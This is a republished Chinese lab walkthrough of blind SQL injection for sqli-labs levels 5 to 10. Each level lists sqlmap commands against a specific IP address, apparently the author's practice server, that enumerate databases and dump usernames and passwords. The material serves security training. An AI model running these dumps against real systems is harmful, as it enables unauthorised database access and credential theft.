2-手工sql注入(进阶篇) sqlilabs靶场5-10题

1. 阅读，学习本章前，可以先去看看基础篇：1-手工sql注入(基础篇)-CSDN博客

2. 本章通过对sqlilabs靶场的实战，关于sqlilabs靶场的搭建：Linux搭建靶场-CSDN博客

3. 本章会使用到sqlmap，关于sqlmap的命令：sql注入工具-​sqlmap-CSDN博客

点击访问题目：

通过 url 参数访问题目：http://服务器地址/sqlilabs/Less-1/

  • Less-1 是第一题题目
  • Less-2 是第二题题目 
  • 以此类推，进行访问

判断注入类型：在SQL注入中，判断是字符型注入还是数字型注入可以通过以下方法：

  • 1. 观察注入点的上下文：在注入点前后的SQL语句中，如果注入点处的参数被引号包围（例如：'1'），则很可能是字符型注入；如果不被引号包围（例如：1），则可能是数字型注入。
  • 2. 字符串函数的使用：在注入点处，如果使用了字符串函数（如CONCAT、SUBSTRING、LENGTH等），则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值，而数字类型的参数并不需要使用字符串函数。
  • 3. 错误消息：如果在注入点处注入了非法字符或非法语法，且数据库返回了错误消息，可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如，如果错误消息中包含了关于字符串数据类型的错误信息（如字符串转换错误），则可能是字符型注入。
  • 4. 注入点的响应：在注入点处注入不同类型的数据，观察数据库的响应。如果注入点返回了期望的结果（如查询结果集），则可能是字符型注入；如果注入点返回了错误信息或者无效的结果，可能是数字型注入。

 Less-5

第五题的题目Less-5需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-5/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-5/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-6

第六题的题目Less-6需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-6/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-6/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-7

第七题的题目Less-7需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-7/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-7/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

Less-8

第八题的题目Less-8需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-8/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-8/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

 Less-9

第九题的题目Less-9需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-9/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-9/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" -C "username,password" --dump  --batch

  Less-10

第十题的题目Less-10需要通过给url传递 id 参数访问：也就是我们的注入点

  • 例如：http:///sqlilabs/Less-10/?id=1 访问(查询)数据库中id为1的数据
  • 分析：
    • 请求方式：get请求
    • 请求参数：id
    • 返回内容：正常访问下传递id参数不会返回查询的数据，不管id传递的什么值，查询正常都返回You are in...........，否则不返回，也可以称为盲注，
  • 模拟场景：通过传入的id值判断用户是否存在

注入点：http://38.147.186.138/sqlilabs/Less-10/?id=1 

sqlmap

  1. 检测注入点：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch
  2. 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --dbs
  3. 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --current-db
  4. 获取security数据库中的数据表：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" --tables --batch
  5. 获取users表中字段：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" --columns --batch
  6. 获取数据：python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" -C "username,password" --dump  --batch

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/bicheng/6585.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Vitis HLS 学习笔记--HLS流水线基本用法

Vitis HLS 学习笔记--HLS流水线基本用法

目录 1. 简介 2. 示例 2.1 对内层循环打拍 2.2 对外层循环打拍 2.3 优化数组访问后打拍 3. 总结 1. 简介 本文介绍pipeline的基本用法。pipeline是一种用于提高硬件设计性能的技术。本文介绍了pipeline在累加计算函数中的应用。通过优化内外层循环和数组访问&#xff0c…
阅读更多...
C++初学者，使用汉语编程

C++初学者，使用汉语编程

现在的IDE是完全支持中文编程的，对于C语系的爱好者来说，又可以发挥自己的想象力了。 今天使用一些宏定义写了一个小程序，用于玩弄C.
阅读更多...
合合信息embedding模型登顶MTEB中文榜单：中文文本向量化技术的创新突破

合合信息embedding模型登顶MTEB中文榜单：中文文本向量化技术的创新突破

引言MTEB中文榜单：权威性与挑战并存Embedding：特征与优势凸显模型应用：开启文本智能新篇章升级迭代：攻克行业技术难点结尾 引言 在信息化时代，文本数据呈爆炸式增长，如何高效、准确地处理和分析这些文本数…
阅读更多...
Apache ShardingSphere知识点表格总结及配置示例

Apache ShardingSphere知识点表格总结及配置示例

ShardingSphere（之前称为Sharding-JDBC）是一个分布式数据库解决方案，它提供SQL路由、分片、读写分离、弹性伸缩等功能。ShardingSphere官网的文档和示例也非常详细，所以入门以及在项目中实践其实是很简单的。但是很多培训的课程故…
阅读更多...
数据库——实验10 数据库的安全性

数据库——实验10 数据库的安全性

1. 安全认证模式 SQL Server有两种身份认证模式：Windows 认证模式和混合认证模式(即 Windows 身份验证和 SQL Server 身份验证)。 (1)仅 Windows 认证模式：这是 SQL Server 2005 的默认身份验证模式，适用于所有登录者均为 Windows 200…
阅读更多...
Vue3-element-plus表格

Vue3-element-plus表格

一、element-plus 1.用组件属性实现跳转路由 <el-menu active-text-color"#ffd04b" background-color"#232323" :default-active"$route.path" //高亮 text-color"#fff"router><el-menu-item index"/article/channe…
阅读更多...
【算法刷题日志】吸氧羊的StarryCoding之旅 - 贡献法计算

【算法刷题日志】吸氧羊的StarryCoding之旅 - 贡献法计算

题目链接&#xff1a;https://www.starrycoding.com/problem/3 题目描述 吸氧羊终于注册了一个StarryCoding账号&#xff01;&#xff08;她很开心&#xff09; 但是吸氧羊忘记了它的密码&#xff0c;她想起你是计算机大师&#xff0c;于是就来请教你。 她虽然不记得密码了…
阅读更多...
hive将时间字符串转换为timestamp的几种写法

hive将时间字符串转换为timestamp的几种写法

写法一 select from_utc_timestamp(from_unixtime(unix_timestamp(2023-8-7 9:38:10 UTC08:00, yyyy-MM-dd HH:mm:ss)), UTC);写法二 select cast(unix_timestamp(2023-8-7 9:38:10 UTC08:00, yyyy-MM-dd HH:mm:ss) as timestamp);写法三 select cast(trim(split(upper(2023…
阅读更多...
校园餐厅预约系统（请打开git自行访问）

校园餐厅预约系统（请打开git自行访问）

校园餐厅预约系统详细介绍 项目地址&#xff1a;https://gitee.com/zhang—xuan/online_booking_system 服务端部分 Socket类 作用&#xff1a;创建socket连接&#xff0c;作为服务端与客户端通信的基础。 Sock_Obj类 基类&#xff1a;定义了服务端需要的基本操作和属性。 派生…
阅读更多...
C++ | Leetcode C++题解之第70题爬楼梯

C++ | Leetcode C++题解之第70题爬楼梯

题目&#xff1a; 题解&#xff1a; class Solution { public:int climbStairs(int n) {double sqrt5 sqrt(5);double fibn pow((1 sqrt5) / 2, n 1) - pow((1 - sqrt5) / 2, n 1);return (int)round(fibn / sqrt5);} };
阅读更多...
SPI(通信协议)

SPI(通信协议)

简介 SPI是一个同步的数据总线&#xff0c;也就是说它是用单独的数据线和一个单独的时钟信号来保证发送端和接收端的完美同步。 时钟是一个震荡信号&#xff0c;它告诉接收端在确切的时机对数据线上的信号进行采样。 产生时钟的一侧称为主机&#xff0c;另一侧称为从机。总是…
阅读更多...
Oracle基础4

Oracle基础4

1 视图 1.1 视图的基本创建 查询 t_owners 和 查询 view_test_1 实际是一样的 数据源表发生变化 那么视图也会发生变化 drop view VIEW_TEST_1; select * from T_OWNERS; create view view_test_1 as ( select * from T_OWNERS ); select * from view_test_1; 1.2 对复杂sq…
阅读更多...
VMware虚拟机中ubuntu使用记录（6）—— 如何标定单目相机的内参（张正友标定法）

VMware虚拟机中ubuntu使用记录（6）—— 如何标定单目相机的内参（张正友标定法）

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、张正友相机标定法1. 工具的准备2. 标定的步骤(1) 启动相机(2) 启动标定程序(3) 标定过程的操作(5)可能的报错 3. 标定文件内容解析 前言 张正友相机标定法…
阅读更多...
编译 x264 for iOS

编译 x264 for iOS

文章目录 编译在 FFMpeg 启用 x264其他编译选项报错处理 环境 &#xff1a; macOS 14.3.1 x264 - 20191217-2245 编译 1、下载 x264 源码 http://download.videolan.org/pub/videolan/x264/snapshots/ 这里我下载x264-snapshot-20191217-2245.tar.bz2 &#xff08;截止2024-…
阅读更多...
centos学习- ps命令详解-进程监控的利器

centos学习- ps命令详解-进程监控的利器

ps命令详解&#xff1a;Linux进程监控的利器 在Linux系统管理中&#xff0c;进程监控是一个至关重要的环节。ps命令是Linux系统中一个功能强大的进程查看工具&#xff0c;通过它可以获取当前系统中所有进程的快照信息&#xff0c;并深入了解各个进程的详细信息。结合其各种选项…
阅读更多...
OpenAI下周将发布ChatGPT搜索引擎，挑战谷歌搜索！

OpenAI下周将发布ChatGPT搜索引擎，挑战谷歌搜索！

目前&#xff0c;多方位消息证实&#xff0c;OpenAI将会在5月9日上午10点公布该消息&#xff0c;大约是北京时间周五的凌晨2点。 5月3日&#xff0c;前Mila研究员、麻省理工讲师Lior S爆料&#xff0c;根据OpenAI最新的SSL证书日志显示&#xff0c;已经创建了search.chatgpt.c…
阅读更多...
跨域初识--如何解决跨域

跨域初识--如何解决跨域

04 【跨域初识】 1.同源策略 同源策略(Same-Origin Policy)最早由Netscape 公司提出&#xff0c;是浏览器的一种安全策略同源&#xff1a; 协议、域名、端口号必须完全相同跨域&#xff1a; 违背同源策略就是跨域 2.如何解决跨域 2.1 JSONP jsonp只支持get请求不支持post请…
阅读更多...
Flutter笔记：Widgets Easier组件库（12）使用消息吐丝（Notify Toasts）

Flutter笔记：Widgets Easier组件库（12）使用消息吐丝（Notify Toasts）

Flutter笔记 Widgets Easier组件库&#xff08;12&#xff09;使用消息吐丝&#xff08;Notify Toasts&#xff09; - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 29114848416…
阅读更多...
Hyperledger Fabric：构建企业级区块链网络的利器

Hyperledger Fabric：构建企业级区块链网络的利器

一、引言 在数字化浪潮中&#xff0c;区块链技术如同一颗璀璨的明珠&#xff0c;以其去中心化、数据不可篡改的特性&#xff0c;在金融、供应链、物联网等多个领域大放异彩。而在这个领域里&#xff0c;Hyperledger Fabric以其开源、灵活、安全的特点&#xff0c;成为企业级区…
阅读更多...
ICode国际青少年编程竞赛- Python-1级训练场-基础训练2

ICode国际青少年编程竞赛- Python-1级训练场-基础训练2

ICode国际青少年编程竞赛- Python-1级训练场-基础训练2 1、 a 4 # 变量a存储的数字是4 Dev.step(a) # 因为变量a的值是4&#xff0c;所以Dev.step(a)就相当于Dev.step(4)2、 a 1 # 变量a的值为1 for i in range(4):Dev.step(a)Dev.turnLeft()a a 1 # 变量a的值变为…
阅读更多...
最新文章

Copyright @ 2022~2023